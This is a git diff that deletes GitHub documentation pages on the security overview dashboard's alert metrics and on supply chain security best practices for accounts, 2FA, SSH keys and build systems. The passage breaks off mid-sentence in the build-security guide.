bypassed. -* The "Remediation" section shows information about how alerts are resolved and alert activity over time. -* The "Impact analysis" section shows the repositories that pose the highest potential security risk in your organization{% ifversion security-overview-dashboard-enterprise %} or enterprise{% endif %}. -{% endif %} - -You can filter the overview dashboard by selecting a specific time period, and apply additional filters to focus on narrower areas of interest. All data and metrics across the dashboard will change as you apply filters. By default, the dashboard displays all alerts from {% data variables.product.prodname_dotcom %} tools, but you can use the tool filter to show alerts from a specific tool ({% data variables.product.prodname_secret_scanning %}, {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, a specific third-party tool) or all third-party {% data variables.product.prodname_code_scanning %} tools. For more information, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - -{% ifversion security-overview-export-data %} -You can download a CSV file of the overview dashboard data for your organization or enterprise. This data file can integrate easily with external datasets, so you may find it useful for security research, data analysis, and more. For more information, see [AUTOTITLE](/code-security/security-overview/exporting-data-from-security-overview). -{% endif %} - -{% ifversion security-overview-dashboard-enterprise %}Enterprise members can access the overview page for organizations in their enterprise. {% endif %}The metrics you see will depend on your role and repository permissions. For more information, see [AUTOTITLE](/code-security/security-overview/about-security-overview#permission-to-view-data-in-security-overview). - -### Limitations - -The data that populates the overview page can and will change over time due to various factors, such as repository deletion or modifications to a security advisory. This means that the overview metrics for the same time period could vary if viewed at two different times. For compliance reports or other scenarios where data consistency is crucial, we recommend that you source data from the audit log. For more information, see [AUTOTITLE](/code-security/getting-started/auditing-security-alerts). - -Keep in mind that the overview page tracks changes over time for security alert data only. If you filter the page by non-alert attributes, such as repository status, the data you see will reflect the current state of those attributes, instead of the historical state. For example, consider that you archived a repository that contains open security alerts, an action which closes the alerts. If you then view the overview page for the week before you archived the repository, the alert data for the repository will only appear when you filter to show data from archived repositories, because the current state of the repository is archived. However, the alerts will appear as open, since they were open during that time period and the overview page tracks the historical state of alerts. - -{% data reusables.security-overview.alert-differences %} - -## Viewing the security overview dashboard{% ifversion security-overview-dashboard-enterprise %} for your organization{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. The overview page is the primary view that you will see after clicking on the "Security" tab. To get to the dashboard from another security overview page, in the sidebar, click **{% octicon "graph" aria-hidden="true" %} Overview**.{% ifversion security-overview-3-tab-dashboard %} -1. By default, the **Detection** tab is displayed. If you want to switch to another tab to see other metrics, click **Remediation** or **Prevention**.{% endif %} -{% data reusables.security-overview.filter-and-toggle %} - -{% ifversion security-overview-dashboard-enterprise %} - -## Viewing the security overview dashboard for your enterprise - -{% ifversion ghes %}{% data reusables.enterprise-accounts.access-enterprise-ghes %}{% else %}{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}{% endif %} -{% data reusables.code-scanning.click-code-security-enterprise %}{% ifversion security-overview-3-tab-dashboard %} -1. By default, the **Detection** tab is displayed. If you want to switch to another tab to see other metrics, click **Remediation** or **Prevention**.{% endif %} -{% data reusables.security-overview.filter-and-toggle %} - -{% data reusables.security-overview.enterprise-filters-tip %} - -{% endif %} - -## Understanding the overview dashboard - -{% ifversion security-overview-3-tab-dashboard %} -<!--Content for GHEC and GHES 3.16+ see next HTML comment for GHES =< 3.15--> - -* [Detection tab](#detection-tab) -* [Remediation tab](#remediation-tab) -* [Prevention tab](#prevention-tab) - -Some metrics in the security overview dashboard include a trend indicator, which shows the percentage gain or loss for the chosen time period relative to previous period. For example, when you select a week with 10 alerts, if the previous week had 20 alerts, the trend indicator reports that the metric has dropped by 50%. If the average age of the open alerts is 15 days, and for the previous period it was 5 days, the trend indicator reports that the metric has risen by 200%. - ->[!NOTE] -> The number of alerts shown on the security overview dashboard may not match the number of {% data variables.product.prodname_code_scanning %} alerts. The security overview dashboard focuses on the security landscape of your organization, and only includes alerts with a security severity ("Critical", "High", "Medium", or "Low"), but {% data variables.product.prodname_codeql %} and third-party tools may separately produce non-security alerts with a level of "Error", "Warning", or "Note". For more information about alert severity and security severity levels in {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts#about-alert-severity-and-security-severity-levels). - -### Detection tab - -* [Open alerts over time](#open-alerts-over-time) -* [Age of alerts](#age-of-alerts) -* [Reopened alerts](#reopened-alerts) -* [Secrets bypassed or blocked](#secrets-bypassed-or-blocked) -* [Impact analysis table](#impact-analysis-table) - -#### Open alerts over time - -The "Open alerts over time" graph shows the change in the number of open alerts in your organization or enterprise over the time period you have chosen. By default, alerts are grouped by severity. You can change the way alerts are grouped. - -Open alerts include both newly created and existing open security alerts. New alerts are represented on their creation date, while alerts that existed before the chosen time period are represented at the start of the period. Once an alert is remediated or dismissed, it is not included in the graph. Instead, the alert will move to the closed alerts graph. - -#### Age of alerts - -The "Age of alerts" metric is the average age of all alerts that are still open at the end of the chosen time period. - -The age of each open alert is calculated by subtracting the date the alert was created from the date that the chosen time period ends. For reopened alerts, the age is calculated by subtracting the original created date rather than the date the alert was reopened. - -#### Reopened alerts - -The "Reopened alerts" metric is the total open alerts that were reopened during the chosen time period. Only alerts that are open at the end of the reporting period are reported. This includes: - -* Alerts that were closed as of the day before the chosen time period, and that remain open at the end of the period. -* Newly created alerts that were closed, and then reopened, during the chosen time period. -* Alerts that were open at the start of the chosen time period, but closed and then reopened within the same period. - -#### Secrets bypassed or blocked - -The "Secrets bypassed" metric shows the ratio of secrets bypassed to the total secrets blocked by push protection. - -You can also see how many secrets were successfully blocked, which is calculated by subtracting the number of secrets bypassed from the total number of secrets blocked by push protection. A secret is considered to have been successfully blocked when it has been corrected, and not committed to the repository. - -You can click **View details** to view the {% data variables.product.prodname_secret_scanning %} report with the same filters and time period selected. - -For more information on {% data variables.product.prodname_secret_scanning %} push protection metrics, see [AUTOTITLE](/code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection). - -#### Impact analysis table - -The impact analysis table has separate tabs showing data for: "Repositories", "Advisories", and "SAST vulnerabilities". - -* The "Repositories" tab shows the top 10 repositories with the most open alerts at the end of the chosen time period, ranked by the total number of open alerts. For each repository, the total number of open alerts is shown alongside a breakdown by severity. - -* The "Advisories" tab shows the 10 CVE advisories that triggered the most {% data variables.product.prodname_dependabot %} alerts at the end of the chosen time period, ranked by the total number of open alerts. For each advisory, the total number of open alerts is shown alongside a severity rating. - -* The "SAST vulnerabilities" tab shows the 10 static application security testing (SAST) vulnerabilities that triggered the most {% data variables.product.prodname_code_scanning %} alerts, ranked by the total number of open alerts. For each vulnerability, the total number of open alerts is shown alongside a severity rating. - -### Remediation tab - -* [Closed alerts over time](#closed-alerts-over-time) -* [Mean time to remediate](#mean-time-to-remediate) -* [Net resolve rate](#net-resolve-rate) -* [Alert activity graph](#alert-activity-graph) - -#### Closed alerts over time - -The "Closed alerts over time" graph shows the change in the number of closed alerts in your organization or enterprise over the time period you have chosen. By default, alerts are grouped by severity. You can change the way alerts are grouped. - -Closed alerts include security alerts that have been successfully remediated or dismissed prior to or during the chosen time period. Alerts closed during the time period are represented on the graph on their closed date, while alerts remediated or dismissed before the chosen time period are represented at the start of the period. - -#### Mean time to remediate - -The "Mean time to remediate" metric is the average age of all alerts that were remediated or dismissed in the chosen time period. Alerts that were closed as "false positive" are excluded. - -The age of each closed alert is calculated by subtracting the date the alert was created from the date that the alert was last closed during the chosen time period. For reopened alerts, the age is calculated by subtracting the original created date rather than the date the alert was reopened. - -#### Net resolve rate - -The "Net resolve rate" metric is the rate at which alerts are being closed. This metric is similar to measuring "developer velocity", reflecting the speed and efficiency with which alerts are resolved. - -The rate is calculated by dividing the number of alerts that were closed and remained closed during the chosen time period, by the number of alerts created during the time period. - ->[!NOTE] The net resolve rate takes into account any new and any closed alerts during the chosen time period. This means that the set of new alerts and set of closed alerts used for the calculation do not necessarily correspond, since they may represent different populations of alerts. - -Alerts that are reopened and re-closed during the chosen time period are ignored. - -#### Alert activity graph - -Expanding on the alert trends graph, the alert activity graph shows you alert inflows and outflows over your chosen time period. - -Green bars represent the number of new alerts created during the segmented time period. Purple bars represent the number of alerts that were closed during the segmented time period. The blue dotted line represents the net alert activity, which is the difference between new and closed alerts. - -### Prevention tab - ->[!NOTE] -> Unlike the **Detection** and **Remediation** tabs which report alerts on the default branch, the **Prevention** tab gives you insights for {% data variables.product.prodname_codeql %} alerts found in merged pull requests. - -* [Introduced versus prevented](#introduced-versus-prevented) -* [Vulnerabilities fixed in pull requests](#vulnerabilities-fixed-in-pull-requests){% ifversion code-scanning-autofix %} -* [{% data variables.product.prodname_copilot_autofix_short %} suggestions](##pull-request-alerts-fixed-with-copilot-autofix-suggestions){% endif %} - -#### Introduced versus prevented - -The "Introduced versus Prevented" graph shows the cumulative number of vulnerabilities that were caught in the developer workflow versus the vulnerabilities introduced in your organization or enterprise over the time period you have chosen. Prevented vulnerabilities are defined as the count of pull request alerts detected by {% data variables.product.prodname_codeql %} that have been fixed for merged pull requests. Introduced vulnerabilities are the count of new pull request alerts detected by {% data variables.product.prodname_codeql %} that were dismissed as "Risk accepted" or were unresolved at the time the pull request was merged. - -The dates for prevented alerts are based on the date the alerts were fixed, and the dates for introduced alerts are based on the date the alerts were created. - -#### Vulnerabilities fixed in pull requests - -The "Vulnerabilities fixed in pull requests" metric shows the count of pull request alerts detected by {% data variables.product.prodname_codeql %} or {% data variables.product.prodname_secret_scanning %} with a close reason of "Fixed" that are tied to a merged pull request. - -{% ifversion code-scanning-autofix %} - -#### Pull request alerts fixed with {% data variables.product.prodname_copilot_autofix_short %} suggestions - -{% data variables.product.prodname_copilot_autofix %} for {% data variables.product.prodname_code_scanning %} is an expansion of {% data variables.product.prodname_code_scanning %} that provides you with targeted recommendations to help you fix {% data variables.product.prodname_code_scanning %} alerts. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -The "Pull request alerts fixed with autofix suggestions" metric shows the ratio of accepted {% data variables.product.prodname_copilot_autofix_short %} suggestions to the total number of {% data variables.product.prodname_copilot_autofix_short %} suggestions on pull request alerts detected by {% data variables.product.prodname_code_scanning %}. - -{% endif %} - -{% else %} -<!--The remainder of this article has content for the dashboard without Detection, Remediation, and Preventation tabs GHES 3.13-3.15--> - -* [Alert trends graph](#alert-trends-graph) -* [Age of alerts](#age-of-alerts) -* [Secrets bypassed or blocked](#secrets-bypassed-or-blocked) -* [Mean time to remediate](#mean-time-to-remediate) -* [Net resolve rate](#net-resolve-rate) -* [Alert activity graph](#alert-activity-graph) -* [Impact analysis table](#impact-analysis-table) -* [Reopened alerts](#reopened-alerts) - -Some metrics in the security overview dashboard include a trend indicator, which shows the percentage gain or loss for the chosen time period relative to previous period. For example, when you select a week with 10 alerts, if the previous week had 20 alerts, the trend indicator reports that the metric has dropped by 50%. If the average age of the open alerts is 15 days, and for the previous period it was 5 days, the trend indicator reports that the metric has risen by 200%. - ->[!NOTE] -> The number of alerts shown on the security overview dashboard may not match the number of {% data variables.product.prodname_code_scanning %} alerts. The security overview dashboard focuses on the security posture of your organization, and only includes alerts with a security severity ("Critical", "High", "Medium", or "Low"), but {% data variables.product.prodname_codeql %} and third-party tools may separately produce alerts with a level of "Error", "Warning", or "Note". For more information about alert severity and security severity levels in {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts#about-alert-severity-and-security-severity-levels). - -### Alert trends graph - -The alert trends graph shows the change in the number of alerts in your organization{% ifversion security-overview-dashboard-enterprise %} or enterprise{% endif %} over the time period you have chosen. {% ifversion security-overview-3-13-overview %}By default, alerts{% else %}Alerts{% endif %} are grouped by severity. You can toggle the graph between open and closed alerts{% ifversion security-overview-3-13-overview %} and change the way alerts are grouped{% endif %}. - -Open alerts include both newly created and existing open security alerts. New alerts are represented on their creation date, while alerts that existed before the chosen time period are represented at the start of the period. Once an alert is remediated or dismissed, it is not included in the graph. Instead, the alert will move to the closed alerts graph. - -Closed alerts include security alerts that have been successfully remediated or dismissed prior to or during the chosen time period. Alerts closed during the time period are represented on the graph on their closed date, while alerts remediated or dismissed before the chosen time period are represented at the start of the period. - -### Age of alerts - -The "Age of alerts" metric is the average age of all alerts that are still open at the end of the chosen time period. - -The age of each open alert is calculated by subtracting the date the alert was created from the date that the chosen time period ends. For reopened alerts, the age is calculated by subtracting the original created date rather than the date the alert was reopened. - -### Reopened alerts - -The "Reopened alerts" metric is the total open alerts that were reopened during the chosen time period. Only alerts that are open at the end of the reporting period are reported. This includes: - -* Alerts that were closed as of the day before the chosen time period, and that remain open at the end of the period. -* Newly created alerts that were closed, and then reopened, during the chosen time period. -* Alerts that were open at the start of the chosen time period, but closed and then reopened within the same period. - -### Secrets bypassed or blocked - -The "Secrets bypassed / blocked" metric shows the ratio of secrets bypassed to the total secrets blocked by push protection. - -You can also see how many secrets were successfully blocked, which is calculated by subtracting the number of secrets bypassed from the total number of secrets blocked by push protection. A secret is considered to have been successfully blocked when it has been corrected, and not committed to the repository. - -You can click **View details** to view the {% data variables.product.prodname_secret_scanning %} report with the same filters and time period selected. - -For more information on secret scanning push protection metrics, see [AUTOTITLE](/code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection). - -### Mean time to remediate - -The "Mean time to remediate" metric is the average age of all alerts that were remediated or dismissed in the chosen time period. Alerts that were closed as "false positive" are excluded. - -The age of each closed alert is calculated by subtracting the date the alert was created from the date that the alert was last closed during the chosen time period. For reopened alerts, the age is calculated by subtracting the original created date rather than the date the alert was reopened. - -### Net resolve rate - -The "Net resolve rate" metric is the rate at which alerts are being closed. This metric is similar to measuring "developer velocity", reflecting the speed and efficiency with which alerts are resolved. - -The rate is calculated by dividing the number of alerts that were closed and remained closed during the chosen time period, by the number of alerts created during the time period. - ->[!NOTE] The net resolve rate takes into account any new and any closed alerts during the chosen time period. This means that the set of new alerts and set of closed alerts used for the calculation do not necessarily correspond, since they may represent different populations of alerts. - -Alerts that are reopened and re-closed during the chosen time period are ignored. - -{% ifversion code-scanning-autofix %} - -### {% data variables.product.prodname_copilot_autofix_short %} suggestions - -{% data variables.product.prodname_copilot_autofix %} is an expansion of {% data variables.product.prodname_code_scanning %} that provides you with targeted recommendations to help you fix {% data variables.product.prodname_code_scanning %} alerts (including {% data variables.product.prodname_codeql %} alerts). For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -The "{% data variables.product.prodname_copilot_autofix_short %} suggestions" metric is the total number of {% data variables.product.prodname_copilot_autofix_short %} suggestions generated in open and closed pull requests during the chosen time period. - -{% endif %} - -### Alert activity graph - -Expanding on the alert trends graph, the alert activity graph shows you alert inflows and outflows over your chosen time period. - -Green bars represent the number of new alerts created during the segmented time period. Purple bars represent the number of alerts that were closed during the segmented time period. The blue dotted line represents the net alert activity, which is the difference between new and closed alerts. - -### Impact analysis table - -The impact analysis table has separate tabs showing data for: "Repositories" and "Advisories". - -* The "Repositories" tab shows the top 10 repositories with the most open alerts at the end of the chosen time period, ranked by the total number of open alerts. For each repository, the total number of open alerts is shown alongside a breakdown by severity. - -* The "Advisories" tab shows the 10 CVE advisories that triggered the most {% data variables.product.prodname_dependabot %} alerts at the end of the chosen time period, ranked by the total number of open alerts. For each advisory, the total number of open alerts is shown alongside a severity rating. - -{% endif %} diff --git a/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md b/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md deleted file mode 100644 index 296cada673dd..000000000000 --- a/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Securing your end-to-end supply chain -shortTitle: Overview -allowTitleToDifferFromFilename: true -intro: 'Introducing best practice guides on complete end-to-end supply chain security including personal accounts, code, and build processes.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Organizations - - Teams - - Dependencies - - Code Security ---- - -## What is the end-to-end supply chain? - -At its core, end-to-end software supply chain security is about making sure the code you distribute hasn't been tampered with. Previously, attackers focused on targeting dependencies you use, for example libraries and frameworks. Attackers have now expanded their focus to include targeting user accounts and build processes, and so those systems must be defended as well. - -For information about features in {% data variables.product.prodname_dotcom %} that can help you secure dependencies, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security). - -## About these guides - -This series of guides explains how to think about securing your end-to-end supply chain: personal account, code, and build processes. Each guide explains the risk to that area, and introduces the {% data variables.product.github %} features that can help you address that risk. - -Everyone's needs are different, so each guide starts with the highest impact change, and continues from there with additional improvements you should consider. You should feel free to skip around and focus on improvements you think will have the biggest benefit. The goal isn't to do everything at once but to continuously improve security in your systems over time. - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts) - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code) - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds) - -## Further reading - -* [Safeguarding artifact integrity across any software supply chain](https://slsa.dev/) -* [Microsoft Supply Chain Integrity Model](https://github.com/microsoft/scim) -* [Software Supply Chain Security Paper - CNCF Security Technical Advisory Group](https://github.com/cncf/tag-security/blob/main/community/working-groups/supply-chain-security/supply-chain-security-paper/CNCF_SSCP_v1.pdf) diff --git a/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md b/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md deleted file mode 100644 index 598d609e0452..000000000000 --- a/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: End-to-end supply chain -intro: 'How to think about securing your user accounts, your code, and your build process' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Security overview - - Organizations - - Teams - - Dependencies - - Code Security -children: - - /end-to-end-supply-chain-overview - - /securing-accounts - - /securing-code - - /securing-builds ---- diff --git a/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md b/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md deleted file mode 100644 index cadb8c126ebd..000000000000 --- a/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Best practices for securing accounts -shortTitle: Securing accounts -allowTitleToDifferFromFilename: true -intro: Guidance on how to protect accounts with access to your software supply chain. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Organizations - - Teams - - SSH - - Security - - Accounts ---- -## About this guide - -This guide describes the highest impact changes you can make to increase account security. Each section outlines a change you can make to your processes to improve the security. The highest impact changes are listed first. - -## What's the risk? - -Account security is fundamental to the security of your supply chain. If an attacker can take over your account on {% data variables.product.github %}, they can then make malicious changes to your code or build process. So your first goal should be to make it difficult for someone to take over your account and the accounts of other {% ifversion ghes %}users{% else %}members{% endif %} of {% ifversion fpt %}your organization{% elsif ghec %}your organization or enterprise{% elsif ghes %}your instance{% endif %}. - -{% ifversion ghec or ghes %} - -## Centralize authentication - -{% endif %} - -{% ifversion ghec %} -If you're an enterprise or organization owner, you can configure centralized authentication with SAML. While you can add or remove members manually, it's simpler and more secure to set up single sign-on (SSO) and SCIM between {% data variables.product.github %} and your SAML identity provider (IdP). This also simplifies the authentication process for all members of your enterprise. - -You can configure SAML authentication for an enterprise or organization account. With SAML, you can grant access to the personal accounts of members of your enterprise or organization on {% data variables.product.prodname_dotcom %} through your IdP, or you can create and control the accounts that belong to your enterprise by using {% data variables.product.prodname_emus %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise). - -After you configure SAML authentication, when members request access to your resources, they'll be directed to your SSO flow to ensure they are still recognized by your IdP. If they are unrecognized, their request is declined. - -Some IdPs support a protocol called SCIM, which can automatically provision or deprovision access on {% data variables.product.github %} when you make changes on your IdP. With SCIM, you can simplify administration as your team grows, and you can quickly revoke access to accounts. SCIM is available for individual organizations on {% data variables.product.prodname_enterprise %}, or for enterprises that use {% data variables.product.prodname_emus %}. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). -{% endif %} - -{% ifversion ghes %} -If you're the site administrator for your instance, you can simplify the login experience for users by choosing an authentication method that connects with your existing identity provider (IdP), like CAS, SAML, or LDAP. This means that they no longer need to remember an extra password for {% data variables.product.github %}. - -Some authentication methods also support communicating additional information to {% data variables.product.github %}, for example, what groups the user is a member of, or synchronizing cryptographic keys for the user. This is a great way to simplify your administration as your organization grows. - -For more information about the authentication methods available for {% data variables.product.github %}, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise). -{% endif %} - -## Configure two-factor authentication - -{% ifversion mandatory-2fa-dotcom-contributors %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} - -The best way to improve the security of {% ifversion fpt %}your personal account{% elsif ghes %}your personal account or your instance{% elsif ghec %}your accounts{% endif %} is to configure two-factor authentication (2FA). Passwords by themselves can be compromised by being guessable, by being reused on another site that's been compromised, or by social engineering, like phishing. 2FA makes it much more difficult for your accounts to be compromised, even if an attacker has your password. - -As a best practice, to ensure both security and reliable access to your account, you should always have at least two second-factor credentials registered on your account. Extra credentials ensures that even if you lose access to one credential, you won't be locked out of your account.{% ifversion fpt or ghec %} - -Additionally, you should prefer{% ifversion passkeys %} passkeys and{% endif %} security keys over authenticator apps (called TOTP apps) and avoid use of SMS whenever possible. Both SMS-based 2FA and TOTP apps are vulnerable to phishing, and do not provide the same level of protection as {% ifversion passkeys %}passkeys and {% endif %}security keys. SMS is no longer recommended under the [NIST 800-63B](https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-63b.pdf) digital identity guidelines. - -{% endif %}{% ifversion mandatory-2fa-dotcom-contributors %}{% ifversion ghec %} -If service accounts in your organization have been selected for 2FA enrollment by {% data variables.product.prodname_dotcom %}, their tokens and keys will continue to work after the deadline without interruption. Only access to {% data variables.product.prodname_dotcom %} through the website UI will be blocked until the account has enabled 2FA. We recommend setting up TOTP as the second factor for service accounts, and storing the TOTP secret exposed during setup in your company's shared password manager, with access to the secrets controlled through SSO. -{% endif %}{% endif %} - -{% ifversion ghec %} -If you're an enterprise owner, you may be able to configure a policy to require 2FA for all organizations owned by your enterprise. -{% endif %} - -{% ifversion ghes %} -If you're the site administrator for your instance, you may be able to configure 2FA for all users of your instance. The availability of 2FA depends on the authentication method that you use. For more information, see [Centralize authentication](#centralize-authentication). -{% endif %} - -If you're an organization owner, then you {% ifversion fpt %}can{% else %}may be able to{% endif %} require that all members of the organization enable 2FA. - -To learn more about enabling 2FA on your own account, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). To learn more about requiring 2FA in your organization, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization). - -{% ifversion ghec or ghes %} - -### Configure your enterprise account - -Enterprise owners may be able to require 2FA for all {% ifversion ghes %}users on{% elsif ghec %}members of{% endif %} the {% ifversion ghes %}instance{% elsif ghec %}enterprise{% endif %}. The availability of 2FA policies on {% data variables.product.github %} depends on how {% ifversion ghes %}users{% else %}members{% endif %} authenticate to access your {% ifversion ghes %}instance{% elsif ghec %}enterprise's resources{% endif %}. - -{% ifversion ghes %} -* If you sign into {% data variables.product.prodname_ghe_server %} through an external IdP using CAS or SAML SSO, you -{% elsif ghec %} -If your enterprise uses {% data variables.product.prodname_emus %} or SAML authentication is enforced for your enterprise, you -{%- endif %} cannot configure 2FA on {% data variables.product.github %}. Someone with administrative access to your IdP must configure 2FA for the IdP. - -{% ifversion ghes %} - -* If you sign into {% data variables.product.prodname_ghe_server %} through an external LDAP directory, you can require 2FA for your enterprise on {% data variables.product.github %}. If you allow built-in authentication for users outside of your directory, individual users can enable 2FA, but you cannot require 2FA for your enterprise. - -{% endif %} - -For more information, see {% ifversion ghec %}[AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam) and {% endif %}[AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#requiring-two-factor-authentication-for-organizations-in-your-enterprise). - -{% endif %} - -### Configure your personal account - -{% ifversion ghec or ghes %} - -> [!NOTE] -> Depending on the authentication method that {% ifversion ghec %}an enterprise owner{% elsif ghes %}a site administrator{% endif %} has configured, you may not be able to enable 2FA for your personal account. - -{% endif %} - -{% data variables.product.github %} supports several options for 2FA, and while any of them is better than nothing, the most secure option is a WebAuthn credential. WebAuthn requires an authenticator such as a FIDO2 hardware security key, a platform authenticator like Windows Hello, an Apple or Google phone, or a password manager. It's possible, although difficult, to phish other forms of 2FA (for example, someone asking you to read them your 6 digit one-time password). However WebAuthn is much more resistant to phishing, because domain scoping is built into the protocol, which prevents credentials from a website impersonating the login page from being used on {% data variables.product.github %}. - -When you set up 2FA, you should always download the recovery codes and set up more than one 2FA credential. This ensures that access to your account doesn't depend on a single device. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication) and [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods). - -### Configure your organization account - -{% ifversion ghec or ghes %} - -> [!NOTE] -> Depending on the authentication method that {% ifversion ghec %}an enterprise owner{% elsif ghes %}a site administrator{% endif %} has configured, you may not be able to require 2FA for your organization. - -{% endif %} - -If you're an organization owner, you can see which users don't have 2FA enabled, help them get set up, and then require 2FA for your organization. To guide you through that process, see: - -1. [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled) -1. [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization) -1. [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) - -## Connect to {% data variables.product.github %} using SSH keys - -There are other ways to interact with {% data variables.product.github %} beyond signing into the website. Many people authorize the code they push to {% data variables.product.github %} with an SSH private key. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/about-ssh). - -Just like your account password, if an attacker were able to get your SSH private key, they could impersonate you and push malicious code to any repository you have write access for. If you store your SSH private key on a disk drive, it's a good idea to protect it with a passphrase. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases). - -Another option is to generate SSH keys on a hardware security key. You could use the same key you're using for 2FA. Hardware security keys are very difficult to compromise remotely, because the private SSH key remains on the hardware, and is not directly accessible from software. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key). - -{% ifversion ghec or ghes %} -Hardware-backed SSH keys are quite secure, but the hardware requirement might not work for some organizations. An alternative approach is to use SSH keys that are only valid for a short period of time, so even if the private key is compromised it can't be exploited for very long. This is the concept behind running your own SSH certificate authority. While this approach gives you a lot of control over how users authenticate, it also comes with the responsibility of maintaining an SSH certificate authority yourself. For more information, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities). -{% endif %} - -## Next steps - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview) -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code) -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds) -* [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization) diff --git a/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md b/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md deleted file mode 100644 index e9fafe2ba919..000000000000 --- a/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Best practices for securing your build system -shortTitle: Securing builds -allowTitleToDifferFromFilename: true -intro: Guidance on how to protect the end of your supply chain—the systems you use to build and distribute artifacts. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Fundamentals - - Security - - CI - - CD ---- - -## About this guide - -This guide describes the highest impact changes you can make to improve the security of your build systems. Each section outlines a change you can make to your processes to improve security. The highest impact changes are listed first. - -## What's the risk? - -Some attacks on software supply chains target the build system directly. If an attacker can modify the build process, they can exploit your system without the effort of compromising personal accounts or code. It's important to make sure that you don't forget to protect the build system as well as personal accounts and code. - -## Secure your build system - -There are several security capabilities a build system should have: - -1. The build steps should be clear and repeatable. - -1. You should know exactly what was running during the build process. - -1. Each build should start in a fresh environment, so a compromised build doesn't persist to affect future builds. - -{% data variables.product.prodname_actions %} can help you meet these capabilities. Build instructions are stored in your repository, alongside your code. You choose what environment your build runs on, including Windows, Mac, Linux, or runners you host yourself. Each build starts with a fresh runner image, making it difficult for an attack to persist in your build environment. - -In addition to the security benefits, {% data variables.product.prodname_actions %} lets you trigger builds manually, periodically, or on git events in your repository for frequent and fast builds. - -{% data variables.product.prodname_actions %} is a big topic, but a good place to get started is [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions), as well as [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#choosing-github-hosted-runners), and [AUTOTITLE](/actions/using-workflows/triggering-a-workflow). - -{% ifversion artifact-attestations %} - -## Generate artifact attestations for your builds - -{% data reusables.actions.about-artifact-attestations %} - -Artifact attestations include a signature over a built artifact, along with links to the source code and build instructions. If you sign your build with artifact attestations, you do not have to 